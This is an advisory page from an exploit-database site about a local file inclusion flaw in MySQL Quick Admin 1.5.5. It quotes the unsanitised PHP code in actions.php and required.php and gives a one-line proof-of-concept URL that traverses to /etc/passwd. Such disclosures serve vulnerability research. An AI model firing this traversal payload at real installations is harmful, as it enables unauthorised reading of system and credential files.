0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
MySQL Quick Admin 1.5.5 Local File Inclusion Vulnerability
[==========================================================
MySQL Quick Admin 1.5.5 Local File Inclusion Vulnerability
==========================================================
##################################################################################
# #
# Author: Vinod Sharma #
# Date: 05th Nov, 2008 #
# Note: This information is only for educational purpose, author #
# will not bear responsibility for any damages. #
##################################################################################
#########################################################################################
#Directory traversal vulnerability in MySQL Quick Admin 1.5.5 #
#allows remote attackers to read and execute arbitrary files via a .. (dot dot) #
#in the lang parameter to actions.php. #
# #
# #
# #
#Appplication still unpatched #
# #
#vulnerable code in actions.php #
# #
#/* code start #
# case 27: #
# $do = $_GET['do']; #
# if($do == "theme" && file_exists("themes/".$_GET['theme'])){ #
# setcookie('theme', $_GET['theme'], time()+60*60*24*30); #
# $_SESSION['theme'] = $_GET['theme']; #
# unset($_SESSION['theme_name']); #
# } else if($do == "lang" && file_exists("lang/".$_GET['lang'])){ #
# setcookie('language', $_GET['lang'], time()+60*60*24*30); #
# $_SESSION['language'] = $_GET['lang']; #
# unset($_SESSION['lang_name']); #
# } #
# header("Location: main.php"); #
# #
#/* code end #
# #
#$_SESSION['language'] is set to the value of the lang parameter without any #
#sanitization. #
# #
#The actions.php will send this $_SESSION['language'] value to required.php which will #
#pass it to include() function without any sanitization. #
# #
# #
#vulnerable code in required.php #
# #
#/* code start #
# #
#line 22 in required.php: include("lang/".$_SESSION['language']."/lang.php"); #
# #
#/* code end #
#########################################################################################
POC:http://www.example.com/quickadmin/actions.php?act=27&do=lang&lang=../../../../../../../../../../etc/passwd%00
#########################################################################################
# 0day.today [2024-12-24] #